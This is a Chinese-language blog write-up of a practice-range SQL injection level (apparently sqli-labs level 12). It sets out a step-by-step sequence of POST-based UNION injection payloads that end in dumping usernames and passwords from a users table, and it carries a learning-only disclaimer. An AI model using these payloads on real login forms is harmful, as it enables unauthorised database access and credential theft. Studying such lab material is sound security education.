文章目录
- 前言
- 一、回顾第十一关知识点
- 二、靶场第十二关通关思路
- 1、判断注入点
- 2、爆显位个数
- 3、爆显位位置
- 4、爆数据库名
- 5、爆数据库表名
- 6、爆数据库列名
- 7、爆数据库数据
- 总结
前言
此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!
`
一、回顾第十一关知识点
第十一关也是我们正式的告别前十关的get类型注入,来到了post类型注入。简单知道了get类型的注入一般url会显示提交参数。而post类型的注入一般会隐蔽提交参数,得通过抓包才能发现,一般出现在登录框。这一关不同的地方就是字符型有些不同,其他没什么区别了。直接上代码和截图。
二、靶场第十二关通关思路
- 1、判断注入点
- 2、爆显位个数
- 3、爆显位位置
- 4、爆数据库名
- 5、爆数据库表名
- 6、爆数据库列名
- 7、爆数据库数据
1、判断注入点
首先看到页面是一个登录框,明显是post类型的页面。使用万能语句1 or 1=1 和 1 or 1=2发现页面正常,所以排除数字型。输入1'
发现页面还是正常,再试一试1"发现页面报错了报错信息为
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ‘“1"”) and password=(“”) LIMIT 0,1’ at line 1
通过报错信息可知它是一个双引号加括号的闭合。
闭合再试一下(如图所示)
1") or 1=1#
1") or 1=2#
发现1=2报错,1=1正常
所以此关是双引号加括号闭合
2、爆显位个数
注入语句为
1") order by 3#
3、爆显位位置
注入语句为
1") union select 1,2#
4、爆数据库名
注入语句为
1") union select user(),database()#
5、爆数据库表名
注入语句为
1") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
6、爆数据库列名
注入语句为
1") union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"#
7、爆数据库数据
注入语句为
1") union select group_concat(username),group_concat(password) from users #
总结
这一关不同点在注入点,它是双引号加括号的闭合,其他都差不多。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!